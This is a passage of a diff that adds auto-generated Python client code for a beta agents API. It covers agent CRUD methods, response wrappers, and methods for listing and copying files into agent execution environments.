+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Agent:
+ """Retrieves a reusable agent by ID.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not agent_id:
+ raise ValueError(f"Expected a non-empty value for `agent_id` but received {agent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template("/agents/{agent_id}", agent_id=agent_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Agent,
+ )
+
+ async def update(
+ self,
+ agent_id: str,
+ *,
+ instructions: Optional[str] | Omit = omit,
+ metadata: Optional[Dict[str, str]] | Omit = omit,
+ model: str | Omit = omit,
+ multi_agent: Optional[MultiAgentConfigParam] | Omit = omit,
+ name: Optional[str] | Omit = omit,
+ reasoning: Optional[AgentReasoningParam] | Omit = omit,
+ service_tier: Optional[Literal["auto", "default", "flex", "priority", "fast"]] | Omit = omit,
+ text: Optional[AgentTextParam] | Omit = omit,
+ tools: Optional[Iterable[PersistedAgentToolParam]] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> Agent:
+ """Updates a reusable agent.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ instructions: Additional instructions appended to the agent's default base instructions. Omit
+ to leave unchanged.
+
+ metadata: Replaces all metadata. Omit to leave unchanged, or pass null or {} to clear it.
+ Up to 16 string key-value pairs, with keys up to 64 and values up to 512
+ characters.
+
+ model: The model to use for the agent. The requested model name is preserved.
+
+ multi_agent: Explicit configuration for creating and coordinating subagents.
+
+ name: A replacement name. Omit to leave unchanged, or pass null to clear it.
+
+ reasoning: Reasoning configuration for the agent.
+
+ service_tier: The service tier used for model requests.
+
+ - `auto` - Selects the service tier automatically.
+ - `default` - Uses the default service tier.
+ - `flex` - Uses the flex service tier.
+ - `priority` - Uses the priority service tier.
+ - `fast` - Uses the fast service tier.
+
+ text: Configuration for text generated by the agent.
+
+ tools: Tools available to the agent.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not agent_id:
+ raise ValueError(f"Expected a non-empty value for `agent_id` but received {agent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ path_template("/agents/{agent_id}", agent_id=agent_id),
+ body=await async_maybe_transform(
+ {
+ "instructions": instructions,
+ "metadata": metadata,
+ "model": model,
+ "multi_agent": multi_agent,
+ "name": name,
+ "reasoning": reasoning,
+ "service_tier": service_tier,
+ "text": text,
+ "tools": tools,
+ },
+ agent_update_params.AgentUpdateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=Agent,
+ )
+
+ def list(
+ self,
+ *,
+ after: str | Omit = omit,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[Agent, AsyncCursorPage[Agent]]:
+ """Lists reusable agents in the current project.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ after: Return resources after this resource ID in the selected order.
+
+ limit: The maximum number of resources to return.
+
+ order: The order in which resources are returned. Defaults to `desc`.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ "/agents",
+ page=AsyncCursorPage[Agent],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "after": after,
+ "limit": limit,
+ "order": order,
+ },
+ agent_list_params.AgentListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=Agent,
+ )
+
+ async def delete(
+ self,
+ agent_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AgentDeleted:
+ """Deletes a reusable agent.
+
+ See
+ [agent configuration](https://developers.openai.com/api/docs/guides/agents-api/configuration).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not agent_id:
+ raise ValueError(f"Expected a non-empty value for `agent_id` but received {agent_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._delete(
+ path_template("/agents/{agent_id}", agent_id=agent_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=AgentDeleted,
+ )
+
+
+class AgentsWithRawResponse:
+ def __init__(self, agents: Agents) -> None:
+ self._agents = agents
+
+ self.create = _legacy_response.to_raw_response_wrapper(
+ agents.create,
+ )
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ agents.retrieve,
+ )
+ self.update = _legacy_response.to_raw_response_wrapper(
+ agents.update,
+ )
+ self.list = _legacy_response.to_raw_response_wrapper(
+ agents.list,
+ )
+ self.delete = _legacy_response.to_raw_response_wrapper(
+ agents.delete,
+ )
+
+ @cached_property
+ def environments(self) -> EnvironmentsWithRawResponse:
+ return EnvironmentsWithRawResponse(self._agents.environments)
+
+ @cached_property
+ def vaults(self) -> VaultsWithRawResponse:
+ return VaultsWithRawResponse(self._agents.vaults)
+
+ @cached_property
+ def sessions(self) -> SessionsWithRawResponse:
+ return SessionsWithRawResponse(self._agents.sessions)
+
+
+class AsyncAgentsWithRawResponse:
+ def __init__(self, agents: AsyncAgents) -> None:
+ self._agents = agents
+
+ self.create = _legacy_response.async_to_raw_response_wrapper(
+ agents.create,
+ )
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ agents.retrieve,
+ )
+ self.update = _legacy_response.async_to_raw_response_wrapper(
+ agents.update,
+ )
+ self.list = _legacy_response.async_to_raw_response_wrapper(
+ agents.list,
+ )
+ self.delete = _legacy_response.async_to_raw_response_wrapper(
+ agents.delete,
+ )
+
+ @cached_property
+ def environments(self) -> AsyncEnvironmentsWithRawResponse:
+ return AsyncEnvironmentsWithRawResponse(self._agents.environments)
+
+ @cached_property
+ def vaults(self) -> AsyncVaultsWithRawResponse:
+ return AsyncVaultsWithRawResponse(self._agents.vaults)
+
+ @cached_property
+ def sessions(self) -> AsyncSessionsWithRawResponse:
+ return AsyncSessionsWithRawResponse(self._agents.sessions)
+
+
+class AgentsWithStreamingResponse:
+ def __init__(self, agents: Agents) -> None:
+ self._agents = agents
+
+ self.create = to_streamed_response_wrapper(
+ agents.create,
+ )
+ self.retrieve = to_streamed_response_wrapper(
+ agents.retrieve,
+ )
+ self.update = to_streamed_response_wrapper(
+ agents.update,
+ )
+ self.list = to_streamed_response_wrapper(
+ agents.list,
+ )
+ self.delete = to_streamed_response_wrapper(
+ agents.delete,
+ )
+
+ @cached_property
+ def environments(self) -> EnvironmentsWithStreamingResponse:
+ return EnvironmentsWithStreamingResponse(self._agents.environments)
+
+ @cached_property
+ def vaults(self) -> VaultsWithStreamingResponse:
+ return VaultsWithStreamingResponse(self._agents.vaults)
+
+ @cached_property
+ def sessions(self) -> SessionsWithStreamingResponse:
+ return SessionsWithStreamingResponse(self._agents.sessions)
+
+
+class AsyncAgentsWithStreamingResponse:
+ def __init__(self, agents: AsyncAgents) -> None:
+ self._agents = agents
+
+ self.create = async_to_streamed_response_wrapper(
+ agents.create,
+ )
+ self.retrieve = async_to_streamed_response_wrapper(
+ agents.retrieve,
+ )
+ self.update = async_to_streamed_response_wrapper(
+ agents.update,
+ )
+ self.list = async_to_streamed_response_wrapper(
+ agents.list,
+ )
+ self.delete = async_to_streamed_response_wrapper(
+ agents.delete,
+ )
+
+ @cached_property
+ def environments(self) -> AsyncEnvironmentsWithStreamingResponse:
+ return AsyncEnvironmentsWithStreamingResponse(self._agents.environments)
+
+ @cached_property
+ def vaults(self) -> AsyncVaultsWithStreamingResponse:
+ return AsyncVaultsWithStreamingResponse(self._agents.vaults)
+
+ @cached_property
+ def sessions(self) -> AsyncSessionsWithStreamingResponse:
+ return AsyncSessionsWithStreamingResponse(self._agents.sessions)
diff --git a/src/openai/resources/beta/agents/environments/__init__.py b/src/openai/resources/beta/agents/environments/__init__.py
new file mode 100644
index 0000000000..d308e65263
--- /dev/null
+++ b/src/openai/resources/beta/agents/environments/__init__.py
@@ -0,0 +1,47 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from .files import (
+ Files,
+ AsyncFiles,
+ FilesWithRawResponse,
+ AsyncFilesWithRawResponse,
+ FilesWithStreamingResponse,
+ AsyncFilesWithStreamingResponse,
+)
+from .templates import (
+ Templates,
+ AsyncTemplates,
+ TemplatesWithRawResponse,
+ AsyncTemplatesWithRawResponse,
+ TemplatesWithStreamingResponse,
+ AsyncTemplatesWithStreamingResponse,
+)
+from .environments import (
+ Environments,
+ AsyncEnvironments,
+ EnvironmentsWithRawResponse,
+ AsyncEnvironmentsWithRawResponse,
+ EnvironmentsWithStreamingResponse,
+ AsyncEnvironmentsWithStreamingResponse,
+)
+
+__all__ = [
+ "Files",
+ "AsyncFiles",
+ "FilesWithRawResponse",
+ "AsyncFilesWithRawResponse",
+ "FilesWithStreamingResponse",
+ "AsyncFilesWithStreamingResponse",
+ "Templates",
+ "AsyncTemplates",
+ "TemplatesWithRawResponse",
+ "AsyncTemplatesWithRawResponse",
+ "TemplatesWithStreamingResponse",
+ "AsyncTemplatesWithStreamingResponse",
+ "Environments",
+ "AsyncEnvironments",
+ "EnvironmentsWithRawResponse",
+ "AsyncEnvironmentsWithRawResponse",
+ "EnvironmentsWithStreamingResponse",
+ "AsyncEnvironmentsWithStreamingResponse",
+]
diff --git a/src/openai/resources/beta/agents/environments/environments.py b/src/openai/resources/beta/agents/environments/environments.py
new file mode 100644
index 0000000000..6bd4105f99
--- /dev/null
+++ b/src/openai/resources/beta/agents/environments/environments.py
@@ -0,0 +1,238 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import httpx2
+
+from ..... import _legacy_response
+from .files import (
+ Files,
+ AsyncFiles,
+ FilesWithRawResponse,
+ AsyncFilesWithRawResponse,
+ FilesWithStreamingResponse,
+ AsyncFilesWithStreamingResponse,
+)
+from .templates import (
+ Templates,
+ AsyncTemplates,
+ TemplatesWithRawResponse,
+ AsyncTemplatesWithRawResponse,
+ TemplatesWithStreamingResponse,
+ AsyncTemplatesWithStreamingResponse,
+)
+from ....._types import Body, Query, Headers, NotGiven, not_given
+from ....._utils import path_template
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from ....._base_client import make_request_options
+from .....types.beta.agents.environment_info import EnvironmentInfo
+
+__all__ = ["Environments", "AsyncEnvironments"]
+
+
+class Environments(SyncAPIResource):
+ @cached_property
+ def files(self) -> Files:
+ return Files(self._client)
+
+ @cached_property
+ def templates(self) -> Templates:
+ return Templates(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> EnvironmentsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return EnvironmentsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> EnvironmentsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return EnvironmentsWithStreamingResponse(self)
+
+ def retrieve(
+ self,
+ environment_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentInfo:
+ """
+ Retrieves an execution environment's connection status and safe installed
+ metadata. See
+ [environment lifecycle](https://developers.openai.com/api/docs/guides/agents-api/environments/lifecycle).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_id:
+ raise ValueError(f"Expected a non-empty value for `environment_id` but received {environment_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get(
+ path_template("/agents/environments/{environment_id}", environment_id=environment_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentInfo,
+ )
+
+
+class AsyncEnvironments(AsyncAPIResource):
+ @cached_property
+ def files(self) -> AsyncFiles:
+ return AsyncFiles(self._client)
+
+ @cached_property
+ def templates(self) -> AsyncTemplates:
+ return AsyncTemplates(self._client)
+
+ @cached_property
+ def with_raw_response(self) -> AsyncEnvironmentsWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncEnvironmentsWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncEnvironmentsWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncEnvironmentsWithStreamingResponse(self)
+
+ async def retrieve(
+ self,
+ environment_id: str,
+ *,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentInfo:
+ """
+ Retrieves an execution environment's connection status and safe installed
+ metadata. See
+ [environment lifecycle](https://developers.openai.com/api/docs/guides/agents-api/environments/lifecycle).
+
+ Args:
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_id:
+ raise ValueError(f"Expected a non-empty value for `environment_id` but received {environment_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._get(
+ path_template("/agents/environments/{environment_id}", environment_id=environment_id),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentInfo,
+ )
+
+
+class EnvironmentsWithRawResponse:
+ def __init__(self, environments: Environments) -> None:
+ self._environments = environments
+
+ self.retrieve = _legacy_response.to_raw_response_wrapper(
+ environments.retrieve,
+ )
+
+ @cached_property
+ def files(self) -> FilesWithRawResponse:
+ return FilesWithRawResponse(self._environments.files)
+
+ @cached_property
+ def templates(self) -> TemplatesWithRawResponse:
+ return TemplatesWithRawResponse(self._environments.templates)
+
+
+class AsyncEnvironmentsWithRawResponse:
+ def __init__(self, environments: AsyncEnvironments) -> None:
+ self._environments = environments
+
+ self.retrieve = _legacy_response.async_to_raw_response_wrapper(
+ environments.retrieve,
+ )
+
+ @cached_property
+ def files(self) -> AsyncFilesWithRawResponse:
+ return AsyncFilesWithRawResponse(self._environments.files)
+
+ @cached_property
+ def templates(self) -> AsyncTemplatesWithRawResponse:
+ return AsyncTemplatesWithRawResponse(self._environments.templates)
+
+
+class EnvironmentsWithStreamingResponse:
+ def __init__(self, environments: Environments) -> None:
+ self._environments = environments
+
+ self.retrieve = to_streamed_response_wrapper(
+ environments.retrieve,
+ )
+
+ @cached_property
+ def files(self) -> FilesWithStreamingResponse:
+ return FilesWithStreamingResponse(self._environments.files)
+
+ @cached_property
+ def templates(self) -> TemplatesWithStreamingResponse:
+ return TemplatesWithStreamingResponse(self._environments.templates)
+
+
+class AsyncEnvironmentsWithStreamingResponse:
+ def __init__(self, environments: AsyncEnvironments) -> None:
+ self._environments = environments
+
+ self.retrieve = async_to_streamed_response_wrapper(
+ environments.retrieve,
+ )
+
+ @cached_property
+ def files(self) -> AsyncFilesWithStreamingResponse:
+ return AsyncFilesWithStreamingResponse(self._environments.files)
+
+ @cached_property
+ def templates(self) -> AsyncTemplatesWithStreamingResponse:
+ return AsyncTemplatesWithStreamingResponse(self._environments.templates)
diff --git a/src/openai/resources/beta/agents/environments/files.py b/src/openai/resources/beta/agents/environments/files.py
new file mode 100644
index 0000000000..b2ad8913bf
--- /dev/null
+++ b/src/openai/resources/beta/agents/environments/files.py
@@ -0,0 +1,469 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+from typing import Optional
+from typing_extensions import Literal, overload
+
+import httpx2
+
+from ..... import _legacy_response
+from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
+from ....._utils import path_template, required_args, maybe_transform, async_maybe_transform
+from ....._compat import cached_property
+from ....._resource import SyncAPIResource, AsyncAPIResource
+from ....._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
+from .....pagination import SyncTokenPage, AsyncTokenPage
+from ....._base_client import AsyncPaginator, make_request_options
+from .....types.beta.agents.environments import file_list_params, file_create_params
+from .....types.beta.agents.environments.environment_file import EnvironmentFile
+
+__all__ = ["Files", "AsyncFiles"]
+
+
+class Files(SyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> FilesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return FilesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> FilesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return FilesWithStreamingResponse(self)
+
+ @overload
+ def create(
+ self,
+ environment_id: str,
+ *,
+ file_id: str,
+ path: str,
+ type: Literal["file_id"],
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentFile:
+ """
+ Copies inline bytes or a Files API file into a connected execution environment.
+ See
+ [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
+
+ Args:
+ file_id: The ID of the uploaded file.
+
+ path: The absolute destination path inside `/workspace`.
+
+ type: The type of the object. Always `file_id`.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @overload
+ def create(
+ self,
+ environment_id: str,
+ *,
+ data: str,
+ path: str,
+ type: Literal["inline"],
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentFile:
+ """
+ Copies inline bytes or a Files API file into a connected execution environment.
+ See
+ [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
+
+ Args:
+ data: The standard-base64-encoded file contents.
+
+ path: The absolute destination path inside `/workspace`.
+
+ type: The type of the object. Always `inline`.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @required_args(["file_id", "path", "type"], ["data", "path", "type"])
+ def create(
+ self,
+ environment_id: str,
+ *,
+ file_id: str | Omit = omit,
+ path: str,
+ type: Literal["file_id"] | Literal["inline"],
+ data: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentFile:
+ if not environment_id:
+ raise ValueError(f"Expected a non-empty value for `environment_id` but received {environment_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._post(
+ path_template("/agents/environments/{environment_id}/files", environment_id=environment_id),
+ body=maybe_transform(
+ {
+ "file_id": file_id,
+ "path": path,
+ "type": type,
+ "data": data,
+ },
+ file_create_params.FileCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentFile,
+ )
+
+ def list(
+ self,
+ environment_id: str,
+ *,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ page: str | Omit = omit,
+ path: Optional[str] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> SyncTokenPage[EnvironmentFile]:
+ """
+ Lists live files on a connected execution environment with optional directory
+ filtering and opaque cursor pagination. See
+ [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
+
+ Args:
+ limit: The maximum number of files to return, between 1 and 100.
+
+ order: Sort by case-sensitive path components. Defaults to descending.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ page: The opaque token from the previous page. Keep the same path, order, and limit.
+
+ path: Restrict the listing to this absolute workspace directory.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_id:
+ raise ValueError(f"Expected a non-empty value for `environment_id` but received {environment_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/environments/{environment_id}/files", environment_id=environment_id),
+ page=SyncTokenPage[EnvironmentFile],
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ query=maybe_transform(
+ {
+ "limit": limit,
+ "order": order,
+ "page": page,
+ "path": path,
+ },
+ file_list_params.FileListParams,
+ ),
+ security={"bearer_auth": True},
+ ),
+ model=EnvironmentFile,
+ )
+
+
+class AsyncFiles(AsyncAPIResource):
+ @cached_property
+ def with_raw_response(self) -> AsyncFilesWithRawResponse:
+ """
+ This property can be used as a prefix for any HTTP method call to return
+ the raw response object instead of the parsed content.
+
+ For more information, see https://www.github.com/openai/openai-python#accessing-raw-response-data-eg-headers
+ """
+ return AsyncFilesWithRawResponse(self)
+
+ @cached_property
+ def with_streaming_response(self) -> AsyncFilesWithStreamingResponse:
+ """
+ An alternative to `.with_raw_response` that doesn't eagerly read the response body.
+
+ For more information, see https://www.github.com/openai/openai-python#with_streaming_response
+ """
+ return AsyncFilesWithStreamingResponse(self)
+
+ @overload
+ async def create(
+ self,
+ environment_id: str,
+ *,
+ file_id: str,
+ path: str,
+ type: Literal["file_id"],
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentFile:
+ """
+ Copies inline bytes or a Files API file into a connected execution environment.
+ See
+ [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
+
+ Args:
+ file_id: The ID of the uploaded file.
+
+ path: The absolute destination path inside `/workspace`.
+
+ type: The type of the object. Always `file_id`.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @overload
+ async def create(
+ self,
+ environment_id: str,
+ *,
+ data: str,
+ path: str,
+ type: Literal["inline"],
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentFile:
+ """
+ Copies inline bytes or a Files API file into a connected execution environment.
+ See
+ [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
+
+ Args:
+ data: The standard-base64-encoded file contents.
+
+ path: The absolute destination path inside `/workspace`.
+
+ type: The type of the object. Always `inline`.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ ...
+
+ @required_args(["file_id", "path", "type"], ["data", "path", "type"])
+ async def create(
+ self,
+ environment_id: str,
+ *,
+ file_id: str | Omit = omit,
+ path: str,
+ type: Literal["file_id"] | Literal["inline"],
+ data: str | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> EnvironmentFile:
+ if not environment_id:
+ raise ValueError(f"Expected a non-empty value for `environment_id` but received {environment_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return await self._post(
+ path_template("/agents/environments/{environment_id}/files", environment_id=environment_id),
+ body=await async_maybe_transform(
+ {
+ "file_id": file_id,
+ "path": path,
+ "type": type,
+ "data": data,
+ },
+ file_create_params.FileCreateParams,
+ ),
+ options=make_request_options(
+ extra_headers=extra_headers,
+ extra_query=extra_query,
+ extra_body=extra_body,
+ timeout=timeout,
+ security={"bearer_auth": True},
+ ),
+ cast_to=EnvironmentFile,
+ )
+
+ def list(
+ self,
+ environment_id: str,
+ *,
+ limit: Optional[int] | Omit = omit,
+ order: Literal["asc", "desc"] | Omit = omit,
+ page: str | Omit = omit,
+ path: Optional[str] | Omit = omit,
+ # Use the following arguments if you need to pass additional parameters to the API that aren't available via kwargs.
+ # The extra values given here take precedence over values defined on the client or passed to this method.
+ extra_headers: Headers | None = None,
+ extra_query: Query | None = None,
+ extra_body: Body | None = None,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
+ ) -> AsyncPaginator[EnvironmentFile, AsyncTokenPage[EnvironmentFile]]:
+ """
+ Lists live files on a connected execution environment with optional directory
+ filtering and opaque cursor pagination. See
+ [environment files](https://developers.openai.com/api/docs/guides/agents-api/environments/files).
+
+ Args:
+ limit: The maximum number of files to return, between 1 and 100.
+
+ order: Sort by case-sensitive path components. Defaults to descending.
+
+ - `asc` - Returns resources in ascending order.
+ - `desc` - Returns resources in descending order.
+
+ page: The opaque token from the previous page. Keep the same path, order, and limit.
+
+ path: Restrict the listing to this absolute workspace directory.
+
+ extra_headers: Send extra headers
+
+ extra_query: Add additional query parameters to the request
+
+ extra_body: Add additional JSON properties to the request
+
+ timeout: Override the client-level default timeout for this request, in seconds
+ """
+ if not environment_id:
+ raise ValueError(f"Expected a non-empty value for `environment_id` but received {environment_id!r}")
+ extra_headers = {"OpenAI-Beta": "agents=v1", **(extra_headers or {})}
+ return self._get_api_list(
+ path_template("/agents/environments/{environment_id}/files", environment_id=environment_id),
+ page=AsyncTokenPage[EnvironmentFile],
+ options=make_request_options(
